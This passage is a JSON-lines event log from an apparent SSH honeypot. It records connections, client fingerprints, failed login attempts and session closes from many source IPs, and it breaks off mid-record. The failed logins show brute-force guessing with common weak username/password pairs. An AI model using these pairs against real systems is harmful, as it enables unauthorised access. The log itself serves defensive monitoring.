{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:19.116937Z","src_ip":"159.195.79.219","session":"8c4c5ee7542d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:19.511587Z","src_ip":"159.195.79.219","session":"8c4c5ee7542d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:20.605080Z","src_ip":"159.195.79.219","session":"8c4c5ee7542d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":47398,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f4fc7bfe588","protocol":"ssh","message":"New connection: 81.192.46.49:47398 (159.203.135.109:22) [session: 6f4fc7bfe588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:34.083419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:34.088205Z","src_ip":"81.192.46.49","session":"6f4fc7bfe588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:34.203335Z","src_ip":"81.192.46.49","session":"6f4fc7bfe588","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"airport","message":"login attempt [root/airport] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:34.694208Z","src_ip":"81.192.46.49","session":"6f4fc7bfe588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:35.812245Z","src_ip":"81.192.46.49","session":"6f4fc7bfe588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":53614,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ed34fbfb06c","protocol":"ssh","message":"New connection: 66.113.163.125:53614 (159.203.135.109:22) [session: 9ed34fbfb06c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:36.325393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:36.329348Z","src_ip":"66.113.163.125","session":"9ed34fbfb06c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:36.371615Z","src_ip":"66.113.163.125","session":"9ed34fbfb06c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sg1424guad12","message":"login attempt [root/sg1424guad12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:36.549284Z","src_ip":"66.113.163.125","session":"9ed34fbfb06c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:37.589699Z","src_ip":"66.113.163.125","session":"9ed34fbfb06c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":50452,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e275a51abef","protocol":"ssh","message":"New connection: 213.209.159.56:50452 (10.17.0.5:22) [session: 0e275a51abef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:40.440344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:40.445476Z","src_ip":"213.209.159.56","session":"0e275a51abef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:40.528589Z","src_ip":"213.209.159.56","session":"0e275a51abef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessalyn","password":"jessalyn","message":"login attempt [jessalyn/jessalyn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:40.938050Z","src_ip":"213.209.159.56","session":"0e275a51abef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessalyn","password":"jessalyn1","message":"login attempt [jessalyn/jessalyn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:42.024838Z","src_ip":"213.209.159.56","session":"0e275a51abef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessalyn","password":"jessalyn123","message":"login attempt [jessalyn/jessalyn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:43.111596Z","src_ip":"213.209.159.56","session":"0e275a51abef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessalyn","password":"jessalyn1234","message":"login attempt [jessalyn/jessalyn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:44.197276Z","src_ip":"213.209.159.56","session":"0e275a51abef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessalyn","password":"jessalyn12345","message":"login attempt [jessalyn/jessalyn12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:45.284086Z","src_ip":"213.209.159.56","session":"0e275a51abef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:46.369469Z","src_ip":"213.209.159.56","session":"0e275a51abef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":1467,"dst_ip":"10.17.0.5","dst_port":22,"session":"893de7241469","protocol":"ssh","message":"New connection: 175.107.32.186:1467 (10.17.0.5:22) [session: 893de7241469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:52.164838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:52.169114Z","src_ip":"175.107.32.186","session":"893de7241469","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:52.396622Z","src_ip":"175.107.32.186","session":"893de7241469","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq1xsw2","message":"login attempt [root/zaq1xsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:53.339668Z","src_ip":"175.107.32.186","session":"893de7241469","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":55568,"dst_ip":"10.17.0.5","dst_port":22,"session":"5419f9e59762","protocol":"ssh","message":"New connection: 92.191.96.70:55568 (10.17.0.5:22) [session: 5419f9e59762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:54.511131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:54.515479Z","src_ip":"92.191.96.70","session":"5419f9e59762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:54.570307Z","src_ip":"175.107.32.186","session":"893de7241469","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:54.676967Z","src_ip":"92.191.96.70","session":"5419f9e59762","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#QWE123qwe","message":"login attempt [root/!@#QWE123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:55.209267Z","src_ip":"92.191.96.70","session":"5419f9e59762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:56.338321Z","src_ip":"92.191.96.70","session":"5419f9e59762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":33858,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b7b6ddd2727","protocol":"ssh","message":"New connection: 125.16.27.190:33858 (159.203.135.109:22) [session: 5b7b6ddd2727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:06.179413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:06.184517Z","src_ip":"125.16.27.190","session":"5b7b6ddd2727","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:06.576677Z","src_ip":"125.16.27.190","session":"5b7b6ddd2727","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:08.033523Z","src_ip":"125.16.27.190","session":"5b7b6ddd2727","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:09.371908Z","src_ip":"125.16.27.190","session":"5b7b6ddd2727","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":43448,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad6a243bf093","protocol":"ssh","message":"New connection: 45.61.187.220:43448 (159.203.135.109:22) [session: ad6a243bf093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:12.503942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:12.510844Z","src_ip":"45.61.187.220","session":"ad6a243bf093","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:12.552621Z","src_ip":"45.61.187.220","session":"ad6a243bf093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rsacgo23","password":"8.5vHtXSSViFDvKi+TB.","message":"login attempt [rsacgo23/8.5vHtXSSViFDvKi+TB.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:12.741961Z","src_ip":"45.61.187.220","session":"ad6a243bf093","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:13.801535Z","src_ip":"45.61.187.220","session":"ad6a243bf093","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.32.153.180","src_port":58180,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ee1ec7169fd","protocol":"ssh","message":"New connection: 111.32.153.180:58180 (10.17.0.5:22) [session: 5ee1ec7169fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:21.828564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:21.833416Z","src_ip":"111.32.153.180","session":"5ee1ec7169fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyA